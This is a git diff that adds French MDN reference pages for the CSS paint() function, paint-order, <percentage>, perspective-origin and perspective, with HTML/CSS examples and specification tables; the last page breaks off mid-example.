+<pre class="brush: html hidden notranslate">&lt;ul&gt;
+    &lt;li&gt;item 1&lt;/li&gt;
+    &lt;li&gt;item 2&lt;/li&gt;
+    &lt;li&gt;item 3&lt;/li&gt;
+    &lt;li&gt;item 4&lt;/li&gt;
+    &lt;li&gt;item 5&lt;/li&gt;
+    &lt;li&gt;item 6&lt;/li&gt;
+    &lt;li&gt;item 7&lt;/li&gt;
+    &lt;li&gt;item 8&lt;/li&gt;
+    &lt;li&gt;item 9&lt;/li&gt;
+    &lt;li&gt;item 10&lt;/li&gt;
+    &lt;li&gt;item 11&lt;/li&gt;
+    &lt;li&gt;item 12&lt;/li&gt;
+    &lt;li&gt;item 13&lt;/li&gt;
+    &lt;li&gt;item 14&lt;/li&gt;
+    &lt;li&gt;item 15&lt;/li&gt;
+    &lt;li&gt;item 16&lt;/li&gt;
+    &lt;li&gt;item 17&lt;/li&gt;
+    &lt;li&gt;item 18&lt;/li&gt;
+    &lt;li&gt;item 19&lt;/li&gt;
+    &lt;li&gt;item 20&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<pre class="brush: js hidden notranslate">  CSS.paintWorklet.addModule('https://mdn.github.io/houdini-examples/cssPaint/intro/worklets/hilite.js');
+</pre>
+
+<pre class="brush: css notranslate">li {
+   --boxColor: hsla(55, 90%, 60%, 1.0);
+   background-image: paint(hollowHighlights, stroke, 2px);
+}
+
+li:nth-of-type(3n) {
+   --boxColor: hsla(155, 90%, 60%, 1.0);
+   background-image: paint(hollowHighlights, filled,  3px);
+}
+
+li:nth-of-type(3n+1) {
+   --boxColor: hsla(255, 90%, 60%, 1.0);
+   background-image: paint(hollowHighlights, stroke, 1px);
+}</pre>
+
+<p>On a ici ajouté <a href="/fr/docs/Web/CSS/--*">une propriété personnalisée</a> dans le sélecteur du bloc. Ces propriétés personnalisées peuvent être manipulées par le <em>PaintWorklet</em>.</p>
+
+<p>{{EmbedLiveSample("Examples", 300, 300)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Painting API', '#paint-notation', 'Paint Notation')}}</td>
+   <td>{{Spec2('CSS Painting API')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.types.image.paint")}}</p>
+
+<h2 id="See_also" name="See_also">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref('PaintWorklet')}}</li>
+ <li>{{domxref('CSS Painting API')}}</li>
+ <li><a href="/fr/docs/Web/API/CSS_Painting_API/Guide">Utiliser l'API CSS Painting</a></li>
+ <li>{{cssxref("&lt;image&gt;")}}</li>
+ <li>{{domxref("canvas")}}</li>
+</ul>
diff --git a/files/fr/web/css/paint-order/index.html b/files/fr/web/css/paint-order/index.html
new file mode 100644
index 0000000000..3e0e34f287
--- /dev/null
+++ b/files/fr/web/css/paint-order/index.html
@@ -0,0 +1,116 @@
+---
+title: paint-order
+slug: Web/CSS/paint-order
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+  - SVG
+  - Web
+translation_of: Web/CSS/paint-order
+---
+<div>{{CSSRef}}{{seecompattable}}</div>
+
+<p>La propriété <code><strong>paint-order</strong></code> permet de contrôler l'ordre dans lequel le remplissage, les marqueurs de peinture et le contour du texte et des formes sont dessinés.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Normal */
+paint-order: normal;
+
+/* Valeur unique */
+/* le contour est dessiné en premier, puis */
+/* le remplissage puis les marqueurs */
+paint-order: stroke;
+/* les marqueurs sont dessinés en premier, */
+/* suivis du remplissage et du contour */
+paint-order: markers;
+
+/* Plusieurs valeurs */
+/* Le contour est dessiné en premier puis */
+/* le remplissage puis les marqueurs */
+paint-order: stroke fill;
+/* Les marqueurs sont dessinés en premiers */
+/* puis le contour, puis le remplissage */
+paint-order: markers stroke fill;
+</pre>
+
+<p>La valeur par défaut, utilisée si aucune valeur n'est fournie, sera <code>fill</code>, <code>stroke</code>, <code>markers</code>.</p>
+
+<p>Lorsqu'une seule valeur est indiquée, c'est celle-ci qui est appliquée par défaut suivi des deux autres selon l'ordre par défaut. Lorsque deux valeurs sont indiquées, elles sont appliquées dans cet ordre puis suivi de la troisième.</p>
+
+<div class="note">
+<p><strong>Note </strong>: Pour cette propriété, les marqueurs sont uniquement utilisés dans le cas de formes SVG qui utilisent les propriétés <code>marker-*</code> (e.g. <code><a href="/fr/docs/Web/SVG/Attribute/marker-start">marker-start</a></code>) ou l'élément <code><a href="/fr/docs/Web/SVG/Element/marker">&lt;marker&gt;</a></code>. Les marqueurs ne sont pas appliqués sur le texte HTML, dans ce cas, seul l'ordre entre <code>stroke</code> et <code>fill</code> importe.</p>
+</div>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>Les différents niveaux sont appliqués dans l'ordre normal.</dd>
+ <dt><code>stroke</code></dt>
+ <dt> </dt>
+ <dt><code>fill</code></dt>
+ <dt><code>markers</code></dt>
+ <dd>Indiquent les valeurs dans l'ordre dans lequel on veut qu'elles soient peintes.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="SVG">SVG</h3>
+
+<pre class="brush: html">&lt;svg xmlns="http://www.w3.org/2000/svg" width="400" height="200"&gt;
+  &lt;text x="10" y="75"&gt;stroke in front&lt;/text&gt;
+  &lt;text x="10" y="150" class="stroke-behind"&gt;stroke behind&lt;/text&gt;
+&lt;/svg&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">text {
+  font-family: sans-serif;
+  font-size: 50px;
+  font-weight: bold;
+  fill: black;
+  stroke: red;
+  stroke-width: 4px;
+}
+
+.stroke-behind {
+  paint-order: stroke fill;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', '100%', 165)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('SVG2', 'painting.html#PaintOrder', 'paint-order')}}</td>
+   <td>{{Spec2('SVG2')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.paint-order")}}</p>
diff --git a/files/fr/web/css/percentage/index.html b/files/fr/web/css/percentage/index.html
new file mode 100644
index 0000000000..338b562069
--- /dev/null
+++ b/files/fr/web/css/percentage/index.html
@@ -0,0 +1,97 @@
+---
+title: <percentage>
+slug: Web/CSS/percentage
+tags:
+  - CSS
+  - Reference
+  - Type
+translation_of: Web/CSS/percentage
+---
+<div>{{CSSRef}}</div>
+
+<p>Le type de données CSS <strong><code>&lt;percentage&gt;</code></strong> représente une valeur exprimée en pourcentages. De nombreuses propriétés CSS utilisent des valeurs en pourcentages, la plupart du temps pour déterminer des tailles en fonction de la taille des éléments parent.</p>
+
+<p>De nombreuses propriétés CSS utilisent des pourcentages : {{cssxref("width")}}, {{cssxref("margin")}}, {{cssxref("padding")}}, etc.. Les pourcentages peuvent aussi être vus avec {{cssxref("font-size")}}, où la taille du texte est directement en relation avec celle de son parent.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Seules les valeurs calculées sont héritées. Ainsi, même si une valeur en pourcentage est utilisée sur la propriété parent, une valeur réelle, comme une largeur en pixel pour une valeur {{cssxref("&lt;length&gt;")}}, sera accessible sur la propriété héritée, pas la valeur en pourcentage.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Les valeurs de type <code>&lt;percentage&gt;</code> sont formées d'un {{cssxref("&lt;number&gt;")}} immédiatement suivi par le signe pourcentage <code>%</code>. Comme pour toutes les valeurs avec unité en CSS, il n'y a aucun espace entre le '%' et le nombre.</p>
+
+<h2 id="Interpolation">Interpolation</h2>
+
+<p>Les valeurs du type <code>&lt;percentage&gt;</code> peuvent être interpolées de manière à rendre les animations possibles. Dans ce cas l'interpolation se fait par des nombres réels à virgule flottante. La rapidité de l'interpolation est déterminée par la {{cssxref("timing-function","fonction de temporisation","",1)}} associée à l'animation.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="width_et_margin-left"><code>width</code> et <code>margin-left</code></h3>
+
+<pre class="brush: html">&lt;div style="background-color:#0000FF;"&gt;
+  &lt;div style="width:50%;margin-left:20%;background-color:#00FF00;"&gt;
+    width : 50%, left-margin : 20%
+  &lt;/div&gt;
+  &lt;div style="width:30%;margin-left:60%;background-color:#FF0000;"&gt;
+    width : 30%, left-margin : 60%
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>Le fragment de HTML précédent sera affiché de cette façon :</p>
+
+<p>{{EmbedLiveSample('width_et_margin-left', '100%', '140')}}</p>
+
+<h3 id="font-size"><code>font-size</code></h3>
+
+<pre class="brush: html">&lt;div style="font-size:18px;"&gt;
+  &lt;p&gt;Texte en taille normale (18px)&lt;/p&gt;
+  &lt;p&gt;&lt;span style="font-size:50%;"&gt;50%&lt;/span&gt;&lt;/p&gt;
+  &lt;p&gt;&lt;span style="font-size:200%;"&gt;200%&lt;/span&gt;&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<p>Le fragment HTML précédent donnera ce résultat :</p>
+
+<p>{{EmbedLiveSample('font-size')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Values', '#percentages', '&lt;percentage&gt;')}}</td>
+   <td>{{Spec2('CSS4 Values')}}</td>
+   <td>Aucune modification significative.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Values', '#percentages', '&lt;percentage&gt;')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td>Aucune modification significative depuis la spécification CSS de niveau 2 (première révision).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'syndata.html#percentage-units', '&lt;percentage&gt;')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Aucune modification depuis la spécification CSS de niveau 1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#percentage-units', '&lt;percentage&gt;')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.types.percentage")}}</p>
diff --git a/files/fr/web/css/perspective-origin/index.html b/files/fr/web/css/perspective-origin/index.html
new file mode 100644
index 0000000000..6505dac1ab
--- /dev/null
+++ b/files/fr/web/css/perspective-origin/index.html
@@ -0,0 +1,389 @@
+---
+title: perspective-origin
+slug: Web/CSS/perspective-origin
+tags:
+  - CSS
+  - Propriété
+  - Reference
+  - Transformations CSS
+translation_of: Web/CSS/perspective-origin
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>perspective-origin</code></strong> détermine la poisition depuis laquelle le spectateur regarde le document. Elle est utilisée comme point de fuite par la propriété {{cssxref("perspective")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/perspective-origin.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Les propriétés <code>perspective-origin</code> et {{cssxref("perspective")}} sont à rattacher à l'élément parent de l'élément qu'on veut placer dans un espace 3D. En revanche, la fonction <code><a href="/fr/docs/Web/CSS/transform-function/perspective">perspective()</a></code> s'applique à même l'élément qu'on veut placer en 3D.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css  no-line-numbers">/* Syntaxe avec une valeur */
+perspective-origin: x-position;
+
+/* Syntaxe avec deux valeurs */
+perspective-origin: x-position y-position;
+
+/* Lorsque x-position et y-position sont des mots-clés */
+/* on peut aussi avoir la forme suivante valide        */
+perspective-origin: y-position x-position;
+
+/* Valeurs globales */
+perspective-origin: inherit;
+perspective-origin: initial;
+perspective-origin: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><em>x-position</em></dt>
+ <dd>Indique l'abscisse de la position du point de fuite. La valeur peut être :
+ <ul>
+  <li>De type {{cssxref("&lt;length-percentage&gt;")}} : la position est indiquée comme une longueur absolue ou relativement à la largeur de l'élément. La valeur peut être négative.</li>
+  <li><code>left</code> : un mot-clé qui est un alias pour indiquer une longueur nulle.</li>
+  <li><code>center</code> : un mot-clé qui est un alias pour indiquer une valeur de pourcentage de <code>50%</code>.</li>
+  <li><code>right</code> : un mot-clé qui est un alias pour indiquer un pourcentage de <code>100%</code>.</li>
+ </ul>
+ </dd>
+ <dt><em>y-position</em></dt>
+ <dd>Indique l'ordonnée de la position du point de fuite. La valeur peut être :
+ <ul>
+  <li>De type {{cssxref("&lt;length-percentage&gt;")}} : la position est indiquée comme une longueur absolue ou relativement à la hauteur de l'élément. La valeur peut être négative.</li>
+  <li>De type {{cssxref("&lt;length&gt;")}} : la position est indiquée avec une valeur de longueur. La valeur peut être négative.</li>
+  <li><code>top</code> : un mot-clé qui est un alias pour indiquer une longueur nulle.</li>
+  <li><code>center</code> : un mot-clé qui est un alias pour indiquer une valeur de pourcentage de <code>50%</code>.</li>
+  <li><code>bottom</code> : un mot-clé qui est un alias pour indiquer un pourcentage de <code>100%</code>.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Cubes_avec_des_valeurs_communes_pour_perspective-origin">Cubes avec des valeurs communes pour <code>perspective-origin</code></h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;section&gt;
+&lt;figure&gt;
+  &lt;caption&gt;&lt;code&gt;perspective-origin: top left;&lt;/code&gt;&lt;/caption&gt;
+    &lt;div class="container"&gt;
+    &lt;div class="cube potl"&gt;
+      &lt;div class="face front"&gt;1&lt;/div&gt;
+      &lt;div class="face back"&gt;2&lt;/div&gt;
+      &lt;div class="face right"&gt;3&lt;/div&gt;
+      &lt;div class="face left"&gt;4&lt;/div&gt;
+      &lt;div class="face top"&gt;5&lt;/div&gt;
+      &lt;div class="face bottom"&gt;6&lt;/div&gt;
+    &lt;/div&gt;
+&lt;/figure&gt;
+
+&lt;figure&gt;
+  &lt;caption&gt;&lt;code&gt;perspective-origin: top;&lt;/code&gt;&lt;/caption&gt;
+   &lt;div class="container"&gt;
+    &lt;div class="cube potm"&gt;
+      &lt;div class="face front"&gt;1&lt;/div&gt;
+      &lt;div class="face back"&gt;2&lt;/div&gt;
+      &lt;div class="face right"&gt;3&lt;/div&gt;
+      &lt;div class="face left"&gt;4&lt;/div&gt;
+      &lt;div class="face top"&gt;5&lt;/div&gt;
+      &lt;div class="face bottom"&gt;6&lt;/div&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/figure&gt;
+
+&lt;figure&gt;
+  &lt;caption&gt;&lt;code&gt;perspective-origin: top right;&lt;/code&gt;&lt;/caption&gt;
+  &lt;div class="container"&gt;
+    &lt;div class="cube potr"&gt;
+      &lt;div class="face front"&gt;1&lt;/div&gt;
+      &lt;div class="face back"&gt;2&lt;/div&gt;
+      &lt;div class="face right"&gt;3&lt;/div&gt;
+      &lt;div class="face left"&gt;4&lt;/div&gt;
+      &lt;div class="face top"&gt;5&lt;/div&gt;
+      &lt;div class="face bottom"&gt;6&lt;/div&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/figure&gt;
+
+&lt;figure&gt;
+  &lt;caption&gt;&lt;code&gt;perspective-origin: left;&lt;/code&gt;&lt;/caption&gt;
+  &lt;div class="container"&gt;
+    &lt;div class="cube poml"&gt;
+      &lt;div class="face front"&gt;1&lt;/div&gt;
+      &lt;div class="face back"&gt;2&lt;/div&gt;
+      &lt;div class="face right"&gt;3&lt;/div&gt;
+      &lt;div class="face left"&gt;4&lt;/div&gt;
+      &lt;div class="face top"&gt;5&lt;/div&gt;
+      &lt;div class="face bottom"&gt;6&lt;/div&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/figure&gt;
+
+&lt;figure&gt;
+  &lt;caption&gt;&lt;code&gt;perspective-origin: 50% 50%;&lt;/code&gt;&lt;/caption&gt;
+  &lt;div class="container"&gt;
+    &lt;div class="cube pomm"&gt;
+      &lt;div class="face front"&gt;1&lt;/div&gt;
+      &lt;div class="face back"&gt;2&lt;/div&gt;
+      &lt;div class="face right"&gt;3&lt;/div&gt;
+      &lt;div class="face left"&gt;4&lt;/div&gt;
+      &lt;div class="face top"&gt;5&lt;/div&gt;
+      &lt;div class="face bottom"&gt;6&lt;/div&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/figure&gt;
+
+&lt;figure&gt;
+  &lt;caption&gt;&lt;code&gt;perspective-origin: right;&lt;/code&gt;&lt;/caption&gt;
+  &lt;div class="container"&gt;
+    &lt;div class="cube pomr"&gt;
+      &lt;div class="face front"&gt;1&lt;/div&gt;
+      &lt;div class="face back"&gt;2&lt;/div&gt;
+      &lt;div class="face right"&gt;3&lt;/div&gt;
+      &lt;div class="face left"&gt;4&lt;/div&gt;
+      &lt;div class="face top"&gt;5&lt;/div&gt;
+      &lt;div class="face bottom"&gt;6&lt;/div&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/figure&gt;
+
+&lt;figure&gt;
+  &lt;caption&gt;&lt;code&gt;perspective-origin: bottom left;&lt;/code&gt;&lt;/caption&gt;
+  &lt;div class="container"&gt;
+    &lt;div class="cube pobl"&gt;
+      &lt;div class="face front"&gt;1&lt;/div&gt;
+      &lt;div class="face back"&gt;2&lt;/div&gt;
+      &lt;div class="face right"&gt;3&lt;/div&gt;
+      &lt;div class="face left"&gt;4&lt;/div&gt;
+      &lt;div class="face top"&gt;5&lt;/div&gt;
+      &lt;div class="face bottom"&gt;6&lt;/div&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/figure&gt;
+
+&lt;figure&gt;
+  &lt;caption&gt;&lt;code&gt;perspective-origin: bottom;&lt;/code&gt;&lt;/caption&gt;
+  &lt;div class="container"&gt;
+    &lt;div class="cube pobm"&gt;
+      &lt;div class="face front"&gt;1&lt;/div&gt;
+      &lt;div class="face back"&gt;2&lt;/div&gt;
+      &lt;div class="face right"&gt;3&lt;/div&gt;
+      &lt;div class="face left"&gt;4&lt;/div&gt;
+      &lt;div class="face top"&gt;5&lt;/div&gt;
+      &lt;div class="face bottom"&gt;6&lt;/div&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/figure&gt;
+
+&lt;figure&gt;
+  &lt;caption&gt;&lt;code&gt;perspective-origin: bottom right;&lt;/code&gt;&lt;/caption&gt;
+  &lt;div class="container"&gt;
+    &lt;div class="cube pobr"&gt;
+      &lt;div class="face front"&gt;1&lt;/div&gt;
+      &lt;div class="face back"&gt;2&lt;/div&gt;
+      &lt;div class="face right"&gt;3&lt;/div&gt;
+      &lt;div class="face left"&gt;4&lt;/div&gt;
+      &lt;div class="face top"&gt;5&lt;/div&gt;
+      &lt;div class="face bottom"&gt;6&lt;/div&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/figure&gt;
+
+&lt;figure&gt;
+  &lt;caption&gt;&lt;code&gt;perspective-origin: -200% -200%;&lt;/code&gt;&lt;/caption&gt;
+  &lt;div class="container"&gt;
+    &lt;div class="cube po200200neg"&gt;
+      &lt;div class="face front"&gt;1&lt;/div&gt;
+      &lt;div class="face back"&gt;2&lt;/div&gt;
+      &lt;div class="face right"&gt;3&lt;/div&gt;
+      &lt;div class="face left"&gt;4&lt;/div&gt;
+      &lt;div class="face top"&gt;5&lt;/div&gt;
+      &lt;div class="face bottom"&gt;6&lt;/div&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/figure&gt;
+
+&lt;figure&gt;
+  &lt;caption&gt;&lt;code&gt;perspective-origin: 200% 200%;&lt;/code&gt;&lt;/caption&gt;
+  &lt;div class="container"&gt;
+    &lt;div class="cube po200200pos"&gt;
+      &lt;div class="face front"&gt;1&lt;/div&gt;
+      &lt;div class="face back"&gt;2&lt;/div&gt;
+      &lt;div class="face right"&gt;3&lt;/div&gt;
+      &lt;div class="face left"&gt;4&lt;/div&gt;
+      &lt;div class="face top"&gt;5&lt;/div&gt;
+      &lt;div class="face bottom"&gt;6&lt;/div&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/figure&gt;
+
+&lt;figure&gt;
+  &lt;caption&gt;&lt;code&gt;perspective-origin: 200% -200%;&lt;/code&gt;&lt;/caption&gt;
+  &lt;div class="container"&gt;
+    &lt;div class="cube po200200"&gt;
+      &lt;div class="face front"&gt;1&lt;/div&gt;
+      &lt;div class="face back"&gt;2&lt;/div&gt;
+      &lt;div class="face right"&gt;3&lt;/div&gt;
+      &lt;div class="face left"&gt;4&lt;/div&gt;
+      &lt;div class="face top"&gt;5&lt;/div&gt;
+      &lt;div class="face bottom"&gt;6&lt;/div&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/figure&gt;
+
+&lt;/section&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">/* Valeurs de perspective-origin (uniques pour chaque exemple) */
+.potl {
+  perspective-origin: top left;
+}
+.potm {
+  perspective-origin: top;
+}
+.potr {
+  perspective-origin: top right;
+}
+.poml {
+  perspective-origin: left;
+}
+.pomm {
+  perspective-origin: 50% 50%;
+}
+.pomr {
+  perspective-origin: right;
+}
+.pobl {
+  perspective-origin: bottom left;
+}
+.pobm {
+  perspective-origin: bottom;
+}
+.pobr {
+  perspective-origin: bottom right;
+}
+.po200200neg {
+  perspective-origin: -200% -200%;
+}
+.po200200pos {
+  perspective-origin: 200% 200%;
+}
+.po200200 {
+  perspective-origin: 200% -200%;
+}
+
+/* On définit le conteneur, le cube et une face générique */
+.container {
+  width: 100px;
+  height: 100px;
+  margin: 24px;
+  border: none;
+}
+
+.cube {
+  width: 100%;
+  height: 100%;
+  backface-visibility: visible;
+  perspective: 300px;
+  transform-style: preserve-3d;
+}
+
+.face {
+  display: block;
+  position: absolute;
+  width: 100px;
+  height: 100px;
+  border: none;
+  line-height: 100px;
+  font-family: sans-serif;
+  font-size: 60px;
+  color: white;
+  text-align: center;
+}
+
+/* On définit chaque face */
+.front {
+  background: rgba(0, 0, 0, 0.3);
+  transform: translateZ(50px);
+}
+.back {
+  background: rgba(0, 255, 0, 1);
+  color: black;
+  transform: rotateY(180deg) translateZ(50px);
+}
+.right {
+  background: rgba(196, 0, 0, 0.7);
+  transform: rotateY(90deg) translateZ(50px);
+}
+.left {
+  background: rgba(0, 0, 196, 0.7);
+  transform: rotateY(-90deg) translateZ(50px);
+}
+.top {
+  background: rgba(196, 196, 0, 0.7);
+  transform: rotateX(90deg) translateZ(50px);
+}
+.bottom {
+  background: rgba(196, 0, 196, 0.7);
+  transform: rotateX(-90deg) translateZ(50px);
+}
+
+/* On améliore la disposition */
+section {
+  background-color: #EEE;
+  padding: 10px;
+  font-family: sans-serif;
+  text-align: left;
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+}</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample('Cubes_avec_des_valeurs_communes_pour_perspective-origin', 620, 800)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Transforms 2', '#perspective-origin-property', 'perspective-origin')}}</td>
+   <td>{{Spec2('CSS Transforms 2')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.perspective-origin")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Transforms/Utilisation_des_transformations_CSS" title="CSS/Using_CSS_transforms">Utiliser les transformations CSS</a></li>
+ <li>{{cssxref('transform-style')}}</li>
+ <li>{{cssxref('transform-function')}}</li>
+ <li>{{cssxref('perspective')}}</li>
+ <li><a href="/fr/docs/Web/CSS/transform-function/perspective">La fonction de transformation <code>perspective()</code></a></li>
+</ul>
diff --git a/files/fr/web/css/perspective/index.html b/files/fr/web/css/perspective/index.html
new file mode 100644
index 0000000000..6569ee0add
--- /dev/null
+++ b/files/fr/web/css/perspective/index.html
@@ -0,0 +1,249 @@
+---
+title: perspective
+slug: Web/CSS/perspective
+tags:
+  - CSS
+  - Propriétés
+  - Reference
+  - Transformations CSS
+translation_of: Web/CSS/perspective
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>perspective</code></strong> détermine la distance entre le plan d'équation z = 0 et la position de l'utilisateur afin de donner une perspective aux objets positionnés dans l'espace 3D. Chaque élément pour lequel la côte (z) est positif sera plus grand et chaque élément pour lequel z est négatif apparaîtra plus petit. La force de cet effet est déterminée par la valeur de cette propriété.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/perspective.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Les parties des éléments 3D qui se situent derrière l'utilisateur (c'est-à-dire ceux pour lesquels leur coordonnée en z est plus grande que la valeur de la propriété <code>perspective</code>) ne sont pas dessiné.</p>
+
+<p>Par défaut, le point de fuite est placé au centre de l'élément mais il peut être déplacé grâce à la propriété {{cssxref("perspective-origin")}}.</p>
+
+<p>Si on utilise cette propriété avec une valeur différente de <code>0</code> ou <code>none</code>, cela créera un nouveau <a href="/fr/docs/Web/CSS/Comprendre_z-index/L'empilement_de_couches">contexte d'empilement</a>. Et l'objet joue alors le rôle de bloc englobant pour les éléments qu'il contient et qui ont <code>position: fixed</code> ou <code>position: absolute</code></p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeur avec un mot-clé */
+perspective: none;
+
+/* Valeurs de longueur */
+/* Type &lt;length&gt;       */
+perspective: 20px;
+perspective: 3.5em;
+
+/* Valeurs globales */
+perspective: inherit;
+perspective: initial;
+perspective: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Un mot-clé qui indique qu'on n'applique aucune perspective.</dd>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Une longueur (une valeur de type {{cssxref("&lt;length&gt;")}}) qui indique la distance entre l'utilisateur et le plan d'équation z = 0. Elle est utilisée pour appliquer une perspective à l'élément et à son contenu. Si elle vaut <code>0</code> ou qu'elle est négative, aucune transformation de perspective ne sera appliquée.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Trois_cubes">Trois cubes</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;table&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;th&gt;&lt;code&gt;perspective: 250px;&lt;/code&gt;
+      &lt;/th&gt;
